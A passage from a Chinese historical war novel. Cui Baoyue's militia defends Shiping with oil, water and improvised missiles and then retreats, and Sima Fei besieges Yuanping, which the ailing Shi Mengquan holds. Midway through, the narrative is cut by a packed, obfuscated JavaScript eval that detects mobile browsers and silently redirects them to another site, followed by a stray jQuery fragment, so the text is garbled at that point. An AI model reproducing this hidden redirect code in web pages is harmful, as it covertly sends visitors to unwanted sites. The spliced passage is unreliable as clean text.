“崔姑娘,怎么办?” 崔抱月将披风一撩:“怕什么?兵来将档,水来土掩——该当值的人守好自己的垛口,没事的人跟我去找点火油来。” 民兵们愣了愣,有人道:“崔姑娘,咱们先前不是城里都搜遍了么?被玉旒云这狡猾的家伙搬成座空城,连菜油都要找不着了,哪儿有火油呢?” “原是我忘了。”崔抱月拍了拍脑门,“不打紧。你们跟我去打几桶水上来。” 民兵们不晓得她有什么好法子,都将信将疑,但这时找不着其他的出路,便只好跟着她下城去打水。崔抱月几乎动用了所有能寻得着的木桶,民兵都是农民出身,肩挑手提,不多时,城上就排满了大小水桶。 樾兵已到了近前,领头的正是健锐营督尉卢进,他知城中是民兵乡勇,根本没放在眼里,所以只带了健锐营人马前来进攻。他并不立刻架梯登城,只喊话道:“里面的楚人听着,玉将军知道尔等不过是一群乌合之众,特叫本督尉前来受降。你们若是想活命的,立刻开城求饶,否则,本督尉带人打了进去,就地格杀,你们一个也别想活着回楚国去。” 民兵见他铠甲锃亮,威风凛凛,而健锐营的士兵阵势整齐,兵器发出森森的冷光,心里都有些害怕。崔抱月却“哼”了一声,冷笑道:“乌合之众也能攻下你们的城来,可见你们樾人的士兵连我楚国的农民都不如!” “你说什么!”前面一个扛军旗的小校,受不得人侮辱,向城跟前逼上几步,“卢督尉好心给你们机会,你们不要敬酒不吃吃罚酒,一会儿死了都不知道命是怎么丢的!还不快——” “投降”两个字未及出口,“哗啦”一下,被崔抱月当头淋了一桶水——是水么?小校嗅了嗅,原来是菜油。他心里一惊,再抬头朝上看,只见一支火箭已瞄准了自己的脑袋。他心底一凉:完了!只见崔抱月一松弓弦,火箭“嗖”地飞下,这小校立刻成了一团火球。 “倒看看是谁死了都不知道是怎么死的呢!”崔抱月哈哈大笑,“叫你们都尝尝被火烧的滋味。”她说着,又抱起一只水桶,作势要往下泼。 卢进已吃了一次亏,不敢大意,急忙叫手下朝后退。但他哪里知道,崔抱月其他的水桶里都装的是水呢? 民兵这下知道崔抱月的妙计了,也都跟着抱起了水桶,齐齐靠到城垛上来。健锐营的人从下面望上去,个个民兵面带怒色,好像是要与他们拼命的——狗急了还跳墙呢,何况人?他们望望卢进:强攻大概是不成吧? 卢进当然明白这道理,下令众兵士后退数丈,以免遭焚身之灾。崔抱月见了,就招呼民兵们:“放箭,射死他们!为你们的丈夫和兄弟报仇!”民兵操练,射箭为必修,大家虽未练到百步穿杨,但如此近的距离,射中可有十之七、八。一时箭矢如蝗,从天而下,樾兵慌忙举起盾牌来防守,有动作慢的,非死即伤。将士们又被朝后逼了数丈。 卢进得玉旒云命令,三日之内拿下石坪,心知不可一再退让,堪堪离开了民兵的射程,即命令健锐营射箭还击。樾人向来重视弓马,剽悍非楚人能及。健锐营又是步兵中的精英,他们强弓硬弩,每一箭的力道和速度都比民兵大得多。是以,城楼上的的民兵射不着他们,他们却可以上着民兵。没多一刻,城楼上就有好几个人挂了彩。民兵不惯死战,纷纷退缩。崔抱月再怎么呼喝鼓励也不能使他们再坚守垛口。 健锐营没了箭矢的阻挡,便又再攻到城墙跟,意欲登城。 “不要命的就来!”崔抱月怒喝着,一箭射中当先的樾兵,跟着又“嗖嗖”几箭,无一虚发。 但她单人匹马毕竟势孤,挡不得许多敌人。这边杀退了一些,那边又有人搭了梯子朝城墙上爬。崔抱月急得朝民兵们大喊:“你们还等什么?豁出去拼了说定还有活路,被樾人杀上来,还指望有命么?” 民兵们一愣:可不就是这个道理!又纷纷抄起兵器来守住垛口——樾军到了近前,已失去了射程的优势,反而楚人居高临下,箭箭都可致命。还有些民兵把一桶桶不管是水是油的统统泼了下去——被淋了水的,呛得直咳嗽;浇了油的,再加一支火箭,便只有满地打滚的份儿;另有被水桶砸中的,起码也脑袋上肿起个大包,疼痛难当。才眨眼的功夫,健锐营就这样又被逼退了下去。 不过,健锐营勇猛,退却只是一时。稍稍离得远些了,又重新弯功搭箭向城上射击。民兵们识得厉害,只能退后自保。健锐营利用这样的机会,顷刻又打到了城下。 于是又再反复,崔抱月命人倒水倒油砸木桶,同时也放箭阻挡,使敌人不能登城。健锐营就暂时后退,再用箭矢开道——往复了几回,毕竟民兵人少,水桶也有限,渐渐落了下风。 卢进看到,不禁大喜,号令手下:全力冲锋,立刻拿下石坪城! 可谁知他命令才发完,冷不防“哗啦”一声,一只木桶兜头罩下。他还未反映过来,就觉恶臭难当。挥手将桶掀了,才见身上黄白横流,竟被人用马桶淋了一头屎尿!他不由得勃然大怒,喝道:“好无赖!将士们听着,拿下石坪,将这群匪类格杀勿论!” 健锐营自然山呼响应。 不过城上的民兵看到同伴想起这么好的招数,半是欣喜,半是见到卢进的狼狈相觉得解气,全哈哈大笑起来。有人想到营房里还有不少马桶,正好都派上用场,于是急急跑去搬了来。崔抱月因使起了弓箭加马桶的战术——樾军虽经历多了枪林箭雨,但几时见过这种流氓打法,虽然杀伤力不大,但有谁能在“屎林尿雨”里冲锋陷阵的?攻势因而大不如前。 民兵等丢完了马桶,又开始丢起碳盆、铁锅、小泥炉、烂白菜——总之是手边能搬来的东西都抬上了城,挡得一刻是一刻。 樾军先是气愤不已,心道:哪有这样守城的?但后来竟也豁然开朗:让他们丢,总有丢完的时候,目下就只当是看猴戏,等他们没辙了,就攻上城去,杀他们个片甲不留! 于是乎,大规模的攻城变成了小股兵力扰城。在弓箭手的掩护下,十几二十个健锐营的兵士装模作样地到城墙跟前晃一圈,引得民兵一阵忙乱——崔抱月等虽然晓得随机应变,又有些勇气,但毕竟不谙兵法,等发觉自己被樾军耍了的时候,人已累得精疲力竭,而各种用物也丢得差不多了。 卢进见时机成熟,拔剑一指:“冲锋!”樾军战鼓擂响,潮水一般卷向石坪城。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728598|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “他娘的,看来只有拼了!”一个民兵手中拿着不知何处找来的一柄开山用的大榔头,就要朝城下的敌阵里丢。 “等等!”崔抱月急中生智,“砸城跺!把砖头敲下去,砸死他们!” 那民兵一怔,崔抱月已经抢上前来,夺下了他手中的榔头,抡起来朝城垛上砸了下去。一时石屑纷飞,大小碎砖滚落,乒另乓啷打在攀梯登城的樾兵身上。几声惨叫,当先的便摔下梯子去,撞到了后面的,一队人就叽里咕噜摔成一团。 民兵们见了都大喜。开头拿榔头的那个道:“下面有间仓库,这榔头还多着呢,大伙动手,不怕砸不死樾人!”说着,带战友们跑下城去,一时回来,人人都端着榔头,淅沥哗啦地一阵乱敲,没多大功夫,竟把两三个城垛砸平了。 这种以石头攻击敌人的法子类似于投石机,不过碎砖的威力小很多,健锐营真是拼死冲锋,这种小小的阻碍根本挡不住他们。只是卢进看崔抱月竟是要把石坪城拆毁的架势,心道,玉旒云叫自己来收复此城,可没有叫自己收回一座废城,不然,直接上投石车把城砸塌就行了。现在楚人流氓竟使些无赖招数,再强攻下去,即使把城拿下来了,也是千疮百孔,怎能同玉旒云交代? 就像石梦泉等头一次遭遇杀鹿帮的强盗一样,卢进被气得直发抖。 “你——”他招旁边一个小卒,“去神秀谷报信,让步军营的上来支援——他娘的,就不信四面包抄,楚国的乡巴佬儿们能忙得过来!” “是!”那小卒得令方要去,却听一人令道:“慢着——” 卢进转脸看,见那发话的人头盔压得很低,几乎看不见脸,问道:“你是何人?玉将军让我全权领兵,你如何阻我号令?” 那人并不答他,从怀里一摸,将个事物拿到他面前晃了晃,乃是半只金狮子,下面缀着豆粒大小的一枚玉珠。卢进识得这正是玉旒云的兵符,惊道:“你是——” 那人将兵符又收了起来:“督尉何必问我是谁?只要知道我是玉将军的人就好。我有重要军情,请督尉立刻收兵!” 崔抱月看着卢进鸣金收兵,健锐营向大青河退潮似的,一下子撤到神秀谷的森林里去了,她先是奇怪,但接着松了一口气:管他们玩的什么花样,总之城是暂时守住了。 民兵们方才战得奋勇,这时松下劲来,想起健锐营那整齐划一的进退,还百发百中的箭法,心里都难免有些后怕。便有人对崔抱月道:“崔姑娘,程大人他们究竟还过不过河来?就算不北伐,总也要来救咱们吧?” 崔抱月只顾着杀敌,倒没想起这档儿事。被问起了,略愣一愣,不免轻蔑地一哼:像程亦风这种就晓得撤退的无用书生,怎么会北伐?当初还不晓得是酒喝高了还是怎样,才发给自己这样一个“渡河”的命令呢!然而,现在她孤军深入,程亦风却不来援,莫非又想重演当初落雁谷的那一幕?什么为了大多数将士的生命而放弃一小支部队? 可大部分将士在做什么?大青河说是战场,为什么看来如此平静? “崔姑娘,要不,咱过河去叫程大人发兵来支援吧?”有人提议。 向程亦风求援?那不就等于是向一个胆小怕事的书生承认自己还不如他么?崔抱月立刻摇头:“不行。咱们也不见得就敌不过樾军。他们不是撤退了么?真要过河去,咱们也去找司马将军,看看他是什么意思。” “那赶紧去找呀!”民兵们道。 崔抱月看看天色,虽然阴霾,但才过正午,这样光天化日打开城门,就不怕樾军偷袭? “等天黑。”她说,“严加巡逻,千万不要给樾贼可乘之机!” 民兵们应道“是”,拖着脚步回到各自的岗位上。有人开始想,跟着崔抱月来到此地是不是一个错误,这种军国大事,就让当官的去操心,多好!现在,后悔也迟了! 时间真是难挨,那天就像总也暗不下来似的,一片云彩过来,遮得世界仿佛黑了些,但风吹云散,又亮了起来。民兵们等啊,盼啊,脖子都长了,远处的景物才开始渐渐模糊——接着,就像某个志得意满的将军一掀漆黑的披风,立刻黑了下来。 这样的凌厉。他们虽没见过,但都不约而同地想起了玉旒云。打了个寒噤。 “崔姑娘!崔姑娘!”沉默久了,声音既低又颤。 “大声点儿!”那民兵拍他的同伴。 “崔姑娘……” “崔女侠!”蓦地,一人高声喊。 民兵们都是一惊:谁?声音来自城外。 崔抱月也听到了,匆匆奔到了城垛边,只见模糊的阴影里一个楚国兵士浑身透湿,满脸污泥血水,用一支断枪拄着地才勉强站住。看来是想要进城。 担心有诈,崔抱月问道:“你是何人?” “在下兵部尚书程亦风大人帐前——”那士兵说时举起一件事物来。因为天色太暗,并看不确切,只依稀辨出是暗红色的一块,仿佛就是程亦风的兵符了。 崔抱月和民兵们极目四望,并不见半个樾军的影子,暗想道:即使是细作,单人匹马能成什么气候?就看看你的真伪再说!当下差了两年轻力壮的民兵下去带人进来。片刻,就到了她跟前,将暗红色的事物递上了,果然就是程亦风的兵符,朱漆木老虎,剖面上刻着“兵部,凉城民兵”。崔抱月取出出征时自己所得的那一半,两边相合,天衣无缝。 “崔女侠叫我小莫就成啦。”这兵士抹了一把脸上的泥水,“我替程大人来传军令,请崔女侠率诸位乡勇立刻撤退。” “要我撤退?”崔抱月一愣:这还真像是程亦风的命令。 其余民兵们听了,倒很是高兴,也有埋怨的:“既然大军不打算北伐,派咱们来这里干什么?如今要咱们回去,也不早点儿说,害咱们跟樾人打了大半天——这不是拿咱们耍着玩儿么?” 小莫听到,连连摇手:“大家可不要误会程大人。他这次使的声东击西的高明战略,说是让玉旒云跑来跑去不得歇——究竟是怎样,我可闹不清楚。我要有那么大本事,我还做个小校么?而向各位传令撤退,程大人是昨天吩咐的,但我的船在大青河里撞到了礁石,我被冲到下游好远的地方,所以到这时才来。” 众人见他这副模样,果然是经历了九死一生,后悔方才说了那些牢骚话。 “但如今樾人已经攻来了,咱们怎生撤退?”崔抱月道,“千多人出了城去,撞上樾军,难道与他们肉搏不成?” “这个崔女侠不用担心。”小莫道,“我被水冲到下游,好容易爬上岸后就悄悄地从树林里朝这边赶。今天下午的时候,看到许多樾军匆匆忙忙朝东边去了。我想,这正是程大人所说的,叫玉旒云跑来跑去不得歇吧。现在神秀谷里只有不到一千樾人,他们决不敢出来跟咱们硬碰。” “果然?”莫非这就是樾人匆匆鸣金的原因?他们急着赶去下游?“既然这样,为什么还要我们撤退?”崔抱月道,“已经占了此城,应该乘胜追击才对。程亦风怕事,难道司马将军也不晓得这道理?现在应该派援军来,打垮神秀谷里埋伏的樾军,以后或者北上,或者西进依阕,为落雁谷的将士报仇——” 小莫愣了愣:“这个……我一是个传信的,可不能替程大人和司马将军做主,而且,司马将军已经领兵上远平城去了。” “上远平城?”崔抱月奇道,“做什么?” 小莫道:“哦,咱们抓到了细作,发现玉旒云在远平有诡计。程大人就叫司马将军领兵去打破她的如意算盘。” “玉旒云在远平的诡计?”崔抱月皱了皱眉头,若有所思:程亦风声东击西……玉旒云疲于奔命……石坪……远平……司马非十万大军……樾军匆匆收兵东去…… 猛然,这些细节全穿了起来。“原来如此!原来如此!”她不禁失声道,“程亦风这胆小的家伙竟然使这种计策,果然是把咱们当猴儿耍了!” 民兵们不明就理,诧异地望着她。 崔抱月道:“程亦风这书生想是猜到玉旒云在石坪虚张声势……”当下如此如此这般这般把公孙天成的计划讲了一番,虽然并不全然相符——比如那利用杀鹿帮缠住石梦泉一节,她是做梦也想不到的——但也大体是那么一回事。只不过她以为这是程亦风的杰作,虽然不得不承认其高明,言语中还是有许多的不屑与讥诮。尤其,自己满以为能够率领民兵同仇敌血战一场替死去的未婚夫报仇,却不料成了大青河之战中的一枚棋子,实在叫人恼火,暗想:好个程亦风,常常把百姓的生计和士卒的安危挂在嘴边,临到冲锋陷阵的时候,仿佛我们民兵就不是士卒似的,送死他也不顾……但才这样想,又觉得如此埋怨是毫无理由的,毕竟民兵是她拉起来的队伍,日日请缨出战的也是她,而此时,程亦风不是也来叫她撤退了么? “崔姑娘,现在怎生打算?”民兵们问。 “现在?”崔抱月再次向四围看看,不见樾兵的影子。虽然她依然很想硬碰硬地跟樾军一决高下,不过,无谓送死的事情她却不想做。因道:“这位程大人打仗的本事没什么了不起,逃命却是他最擅长。既然他给咱们下了撤退命令,咱们就姑且听他的吧。” 民兵们早就等不及了,听到此话便奔走相告。不到一顿饭的工夫,民兵便全都集合了起来。崔抱月出征时共领男女乡勇一千一百二十七人,经过石坪攻守两战,如今还有九百六十四人,以这样的伤亡把樾军耍得团团转,算盘打得也够精的。 她看看自己的“部下”,都因为能全身返乡而露出了兴奋的神气,其中有不少人用长枪当扁担挑着大小包袱。不禁奇怪,问道:“哪儿来的行李?” 被她问的那个愣了愣,笑道:“也不是什么行李。樾人弃城逃跑时留了几顶头盔下来。我想我好歹也打了一次胜仗,总要带点儿什么回去给乡亲们看看,否则人家说我吹牛呢!” 崔抱月正觉得可笑,旁边另一个挎着包袱的插嘴道:“什么给乡亲们看?咱们打了胜仗皇上应该封赏咱们吧?崔姑娘,我听说皇上赏银子,是砍下一个敌军的脑袋就赏一锭金元宝。要是千里迢迢带人头回去,到皇上召见咱们时都发臭啦,所以我还是带几顶樾人的头盔——崔姑娘,你说皇上什么时候会召见咱们?” 崔抱月已经开始觉得有点儿哭笑不得了。不想,另一个背着大包袱的人挤到前面来说道:“崔姑娘,别听他们这些没见识的家伙胡说。这气死玉旒云的好主意是程大人想出来的,队伍是崔姑娘带出来的。要算功劳,也只有你们两个。皇上怎么会召见咱们呢?” 崔抱月想:总算你还没在做白日梦。“包袱里装了些什么?”她问。 “我可不要樾军的头盔。”那人回答,且打开了包袱给崔抱月看,“攻进来的时候杀了些樾兵,他们北方人的靴子可真好。我扒了几双下来回去送送亲戚。虽说是死人身上的有点儿不吉利,但冬天冷起来的时候,谁还计较这些?” 崔抱月可真是险些被气得吐血,看到旁边小莫脸上带着那种忍俊不禁的表情,心里更加恼火:这小兵程大人长,程大人短的,八成是程亦风的跟屁虫。民兵的这些事要叫他传到了程亦风的耳朵里,这书生还如何嘲笑自己?将来岂不更要把她当猴儿耍? 这边厢她正寻思着,那边厢又有几个女兵颇为自豪地凑了上来:“北方人的布虽然没咱们的精制,但好在够结实。我们把兵营里能拆的帘子、床单、背面都拆下来了,回去正好给孩子做衣服。” 如果这时程亦风在跟前,崔抱月真恨不得找个地洞钻下去。 “各位大嫂可真细心。”小莫笑道,“反正樾人欺负咱们也有年月了,咱们拿他们点儿东西是应该的。虽然现在还不能叫他们种粮食给咱们吃,但能叫他们纺纱织布给咱们穿总是好的。” 女兵们都笑说有理。 崔抱月犹如火上浇油,疑心这小兵是程亦风专程派来瞧自己笑话的——虽然看看那一脸孩子气又不像。她怒喝道:“你们究竟是来保家卫国,还是来赶集?把包袱全给我扔了!撤退!” 果如小莫所言。一行人撤到大青河边,未见樾军追来。民兵们每二十人扛着一只轻舸,到河边放下了,合力推入水中。 这夜的大青河很平静,静得就像黑夜,静得像一个谎言,一个梦。 18. 第 18 章 司马非领军从鹿鸣山地的幽谷中抄近路,直奔远平城——对于有可能和玉旒云甚至樾军的另外两位将军正面交锋,他心底隐隐有一丝兴奋。其时已是二月末,大地复苏,石头缝里都长出青草来,梅花鹿躲在树林里闪缩窥人,少女般灵活的眼睛分外可爱。不过将士们都无暇欣赏,日夜兼程,直到望见远平城城楼,这才停了下来。 司马非用望远镜看了看,见城楼上站岗的果然都是樾军打扮,即啐了一口,骂道:“他娘的,程亦风这书呆子还以为自己想的是绝顶聪明的好主意?竟让樾贼到远平来撒野!就算当真让他累垮了玉旒云,这等在自己后院点火的事传出去也笑死人。若是玉旒云不着他的道儿,那更是赔了夫人又折兵——哈,幸亏我砍死了那只青鹞让他知道了玉旒云的计划,要不然,看他怎么收场!”当下命令大军继续前进,攻打远平城。 到了跟前,自然按着惯例先叫战一番。司马非自己就是个大嗓门,身边由他提拔上来的几名副手也都和相似。大伙无非叫了几嗓子“我军十万,尔等鼠辈速速投降之类”的话,心想,虽然楚军其实只有五万,但城门前山道狭窄,五万大军排出去几里路长,兵器寒光闪闪,俯瞰下来,必像一条钉满了钢钉的带子,光看看也够吓人的了,何用他们再夸张地喊出来?况且,司马非觉得别人都打到了自己的地盘上,决没有让他们投降就拉倒的便宜事,理当全数斩杀,以儆效尤——尤其,要出出心头的这口恶气。 正如他所愿,城上的樾军仿佛决心顽抗,连看都不看他们一眼。司马非也就不再白费唇舌,大掌一挥:“盾牌掩护,准备攻城!” 楚军步兵山呼响应,一排排支起了黑色的精铁盾牌,整齐划一,如同乌云压境一般——司马非是久经沙场的老将,虽然性子急躁,但布阵、进退、攻守都中规中矩十分稳健,练兵也比冷千山等人严格,两军对阵,他能兵戈未动就先给对方以威慑。 城上的樾军果然有些沉不住气了,弓箭手从城垛后露了出来,一支支箭矢瞄准了对手。 可是楚军盾牌坚固,又有何惧?司马非令击鼓,发动攻击。前锋的步兵即“嗬嗬”地呼着,以盾牌开道,一部分扛着攻城梯朝远平那早已创痕累累的城墙进发,另有一队推着攻城车——乃是一根粗大的圆木前头斫尖包了铁皮,下装木轮,似乎是为了适应山道狭窄,这车的尺寸比通常所用的要小一些。不过,相比石梦泉当日就地伐木攻城,司马非在国内作战,装备就齐全得多。 “将军……”他身边的幕僚王谭说道,“远平看来已经被樾人糟蹋得不成样了,咱们的攻城车撞过去……” 司马非道:“那又如何?” 王谭道:“毕竟远平是咱们自己的城,要是打得千疮百空,那……” “屁话!”司马非大声打断,“城毁了还可以再建,人死了可活不过来。当然是彻底消灭这伙樾贼更紧要些——即使要我把这远平城轰塌了,我也要取这伙贼人的性命。” 王谭一怔,暗想此话虽然有理,但难免会留了把柄在他人手上。司马非多年来为国家鞠躬尽瘁,浑身伤痕不计其数,但冷千山、董鹏枭、鲁崇明、向垂杨等后起之将都纷纷升迁到了与司马非相当的地位——论战功,他们谁也比不上司马非,无非是在朝中比他更会做人罢了。 思念间,攻城车已到了离城门不到一丈之地。司马非、王谭只等着看下面的好戏。可谁料,“嗖”地一下,从城上射下一支箭来,不偏不倚,正钉在司马非的旗杆上。那旗手愕了愕,抬头看,旗杆断成了两截。 司马非怎不勃然大怒?不过,敌人竟不射他的人而射旗杆,未免有些蹊跷——倘若射中了他,士卒激愤,也许会愈战愈勇,假使射中了旗杆,激脑主帅,也许急怒之下乱了方寸……想到这里,他冷冷一笑,道:“看什么?难道没有大旗人就不知道是我司马非将军在此?”说时,又一指远平城楼:“难道换了旗子,人就不知道远平是我楚国的领地?” 周遭士兵听他这么一说,士气更振,纷纷应道:“不错,把樾贼打回老家去!冲锋!”登时,楚军中喊杀声震耳欲聋,而攻城车也“轰”地一下撞在了城门上。木屑纷飞。可那门却没有立刻打开,反倒门洞里不知何处噼里啪啦掉下许多火球来,推攻城车的兵丁无一幸免地被砸中,嗷嗷直叫。旁边持盾牌的连忙护了上来,抬头看看,原来门洞上放的墙体竟被人打开一个长方形的缺口,樾军正从上面将烧红的火炭倒下来呢! 好家伙!他们心里暗骂,果然不是自家的东西就不心疼。当年咱们楚人修建远平城,征了几多民夫,花了几多银两,你们占了,先就凿开一个大洞——可恶! 他们不及咒骂更多,上面又是几筐火炭倒了下来,仿佛山里发了泥石流似的,眨眼的工夫就在城门洞里堆起了一座火红的小山。众士兵不得不舍了攻城车撤出来。没多久,整个城门洞都被火炭填满了。 司马非几时见过这种古怪的战术?嘀咕道:樾军的主将是什么人?哪有人堵死自己道路的?但转念一想,又明白了过来:玉旒云不是说要“支援远平”么?看来这里的樾军根本不求出城应战,只想拖延时间……就不知樾军援兵离此还有多远?究竟想如何“飞渡”大青河?这是一时半刻想不通的,也没必要想,只要在玉旒云援军到来之前,夺回远平,到时他有五万大军驻守——以他多年的经验,他晓得像远平这样两面山一面水只有一个突破口的城只要指挥得当,是绝对攻不进去的——还怕什么? 可这样一想,心底又不免发凉:这样的城池,樾军是怎么攻进去的?远平的游击将军还不算一个太草包的人物,如此看来,樾军领兵的将领倒不可小瞧——有此人物做对手,自己真能在樾军援兵赶来之先攻下远平吗? 正想着的时候,就看远平城楼上出现了一位年轻的将领,二月末温柔的春阳下,他的面孔显得十分清俊镇定,缓缓地扫视了一下楚军的情形,偏头跟身边的亲随交谈。下面楚军弓箭手利箭在弦,个个瞄准了他的要害,而他连铠甲也没有穿,只着家常衣服,随便系了袭披肩,竟仿佛自己是刀枪不入似的,没有一丝胆怯之态。楚军士兵不禁心中发虚:这……这是什么人?一时间,没人想起放箭。 司马非也怔了怔,问王谭道:“樾军将领何人?” 王谭眯着眼睛细细辨认:樾楚多年来战事连连,樾国的老将楚军都比较熟悉了,新的对手是玉旒云,但落雁谷之战中真正与她交过锋只有耿近仁,且已命丧黄泉,听说玉旒云的手下也都是后起之秀故尔而楚国没什么人见过他们——能被派出来当此重任独当一面的,莫非是她的亲信石梦泉? 就照着猜测跟司马非禀报了。司马非抓了抓下巴,嘟囔了一句:“乳臭未干。”但心里倒并不敢轻视对手,想道:此城强攻不下,只有智取,这姓石的小子廿多岁的年纪,就算兵法读得滚瓜烂熟,武功练得出神入化了,临敌的经验却应该不多,待我耍他一耍。 想到这里,他一夹马腹,将关公刀提在手中,直向阵前冲去,口中叫道:“兀那樾国的毛头小子,胡子都还没长出来就到你爷爷的地盘上来撒野?有胆就出城来跟爷爷大占三百回合!” 他嗓门极大,这一嚷周围的楚军都望了过来,城上的樾兵也投来了诧异的一瞥,可偏偏石梦泉仿佛听不见似的,轻轻拂了拂披风上的炭灰,竟走下城去了。司马非看起来更加恼火,打马在自己的步兵阵里乱奔,狂叫道:“毛小子!屁也不敢放一个就跑了!你还是不是男人?是不是跟着你那小娘们将军跟久了,自己也变成娘娘腔了?” 骂得如此难听,城上的樾军不免都发了火,有人厉声喝道:“老家伙,嘴里不干不净说些什么?先打掉你一嘴牙再说!”说时,弯弓搭箭,瞄准了司马非。 楚军一看,敌人居高临下,己方即便以盾牌防守并射箭还击,也处于劣势,何况司马非在自己的阵营里乱闯一番,把队伍都冲散了,许多士兵也被马蹄踏伤,这怎么是交战的好时机?离司马非近的几个人连忙围了上来,硬是把马制住了,逼着他朝后退。 花了好大的力气,他们才把司马非带到了樾军的射程之外。司马非嗷嗷大叫:“你们干什么?这样拦着我?樾军的毛头小子连铠甲都不穿,我岂会比他差?你们都胆小怕死么?那就不要打!鸣金!” 楚军都愣了:才击鼓就鸣金,不是给敌人笑话看么? 可王谭却从一边走了上来,道:“没听见将军吩咐么?鸣金收兵!” 赵酋看到楚军朝后退去,急急向石梦泉报告。罗满就在一边,听了,道:“要是老家伙当真就这样被气得乱了方寸,那可真要成为古今一大笑话——百年来,用空城计而成名的将领不就是他们楚国的程亦风么?今天程亦风的部下被石将军摆个架势给吓了……哈哈!” 石梦泉正接过医官送来的药碗,整个房间弥散着腥苦的味道。多日的调养,使他的病情稍稍有了好转,但是方才上城一趟,竟出了一身的冷汗,现在几乎连端住碗的力气也没有,只好叫医官先放在桌上凉着。 他缓缓地开口:“我两眼都酸痛得厉害,方才并没有看清楚——领军的那个是楚国的破虏将军司马非么?” 赵酋和罗满都回说“是”。 石梦泉想了想,道:“司马非也算是楚国的名将了,他出来领军打仗的时候,你我都还没有出生呢。听闻此人骁勇好斗,不过并不卤莽,虽然打仗不计较代价,却又特别擅长打持久战。他领了如此多的人马,假如当真中了我的空城计,应该立刻扎营围城,将我们困死才对,怎么反而发狂叫战?没道理。” 赵酋和罗满道:“那将军的意思是?” 石梦泉道:“他有千般妙计,我有不变之宜。让他折腾去,反正咱们就在城里休息,等到粮食用尽时,再放他们进来——火药都布置得如何了?” 罗满道:“快好了。大伙儿已经连续干了好几天,眼也未合一下。只是房屋这么多,处处都要布置到,还要连成一片……” “我知道很勉强,辛苦大家了……”石梦泉打断,“若不是我……也该跟大家一起动手才对。” “将军说哪里话!”罗满道,端起桌上的药碗送到石梦泉的口边,“本来也就没有让将军跟咱们一起动手的道理。” 石梦泉望了他一眼,落雁谷的时候,他俩品级相当,称呼没这么生硬,相处也没这么生分,轻叹了口气道:“将军虽然不用动手,但将军应该对战役的成败和将士的生死负责吧?我如今把大家困在此地,我这个将军做得也真是……” “将军何必自责。”赵酋道,“我们现在也不是困在远平。我们不过是在等楚人中计而已。将军大病未愈,还是多休息。” 石梦泉怎么有心情休息?可是却也实在没有精力集中精神思考。他疲惫地合了一下眼,又旋即睁开了,问道:“愉郡主和她的使女有消息么?” 赵酋和罗满都摇摇头。赵酋道:“那天将士们都手忙脚脚乱的,哪里留意到她?她有手有脚,脾气又倔,就算是咱们撞上了,也拦不住她吧。” 石梦泉当然明白这个道理。然而,大青河之战前途灰暗,回京之后等待玉旒云的是怎样的一个朝堂他已经可以想象得到,若然再弄丢了愉郡主,使赵王震怒,真不知会闹成怎样! 可是眼下也没有对策。他便摆了摆手:“你们去忙吧。让士兵们轮班休息,养足了精神做事会更麻利些。” “是。”赵酋和罗满答应,接着退了出去。 石梦泉便迷迷糊糊地做起梦来,忆起他和玉旒云第一次随军出征,那时他们才十三、四岁,东河公拥兵叛乱,以封邑为“齐国”,自立为王。庆王奉旨代御驾亲征,玉旒云和石梦泉悄悄地扮成了小卒,混在庆王的亲兵之中。到了战场之上,庆王其实并不谙兵法,一切都由那十几个幕僚商议决策。面对东河公的道道防线,幕僚们争论是用突破战还是用歼灭战;到了叛军城下,幕僚们又争论是用围城还是用强攻;到叛军出城迎战,自然还要商讨对战的阵形……那时小小年纪的玉旒云已经把书房里的兵书战策都读了个遍,这还是头一次看到它们从纸上活过来,眼中充满了兴奋和求索。石梦泉也是努力地听,努力地记,努力地想。直到有人突然拍了他们一下:“喂,该换岗了!”他俩一愕,被人发现了身份。 为此,石梦泉少不得被母亲打了一顿。 那么第二次一起上战场又是什么时候呢?他向梦里去追忆,但听“吱呀”一声门响,就被惊醒了过来——这一觉睡得长,天都黑了。 来的是罗满,给他端了饭菜进来。石梦泉支起身子,问道:“外面的情形如何了?” 罗满道:“闹腾得厉害。楚国那司马将军又上城前来叫骂了几回,都被部下拉回去了。现在楚军中乱糟糟的一团,也不知天黑之后会玩什么把戏。” 石梦泉点了点头:“城上是赵酋在看着吧?让他盯紧些。” 罗满答应。 石梦泉又道:“依你看,火药的布置还要多久才能完成?” “大概三天吧,”罗满回答。 “三天……”石梦泉沉吟片刻,“我想三天我们还支持得住。总之不要被他们所激,贸然出城。只要司马非摸不清城内虚实,三天后他攻进城来之时就不会起疑心……就这样吧。” 罗满应了,转身告退。才走到门口,石梦泉又叫住了他:“玉将军……可有什么指示么?” 罗满摇摇头:“先前那封战报送出去的,算日子,不论玉将军西进到了哪里,都应该收到了。但是迟迟不见玉将军的答复,莫非石坪那边遇到了棘手的情形?” “应该不会吧。”石梦泉想,石坪只有民兵千余,玉旒军挥师进攻,以程亦风的个性即使是已经另派了大队楚军北上,也绝不会舍得让部下一支孤军被困在樾国境内同玉旒云对决——他不是玉旒云,他狠不下心来。他应该会撤退,而且赶在来不及之前火速撤退……除非有了别的状况? 罗满见他沉吟,道:“有什么棘手的情形能难倒玉将军?说不定是信没有送到——程亦风派来的那伙山贼并未被我军一网打尽,肯定还在四处小敲小打地给咱们找些麻烦。我们不如再派一个人去好了。” 石梦泉道:“也好,你去办吧——记住,不要提我的事。” 罗满欠身答应。看石梦泉起身披衣服,惊道:“将军,你要出去?” 石梦泉道:“想来想去,我还是到城上去一趟的好——你说那伙山贼还在活动,可提醒我了。他们只要一跟楚军会合,司马非就会知道城里的一切。若他知道了咱们总共只有一万多兵力,主将又病歪歪的快死了……” “将军!”罗满急忙打断这不吉利的话。 石梦泉让他不必介意:“所以我才要时不时到城上去转一圈。反正那群山贼也不知道我病得究竟有多严重——况且,忙起来的时候我反而没这么头重脚轻。” 罗满见他执意,只好扶他站起来,帮他取来了披风,心道:石将军对玉将军一片赤诚,实在令人敬佩。我亦是人家的部下,当学石将军,为他赴汤蹈火! 二人就来到了城上,看楚军营地从山道上绵延下去,灯火点点,秩序井然。 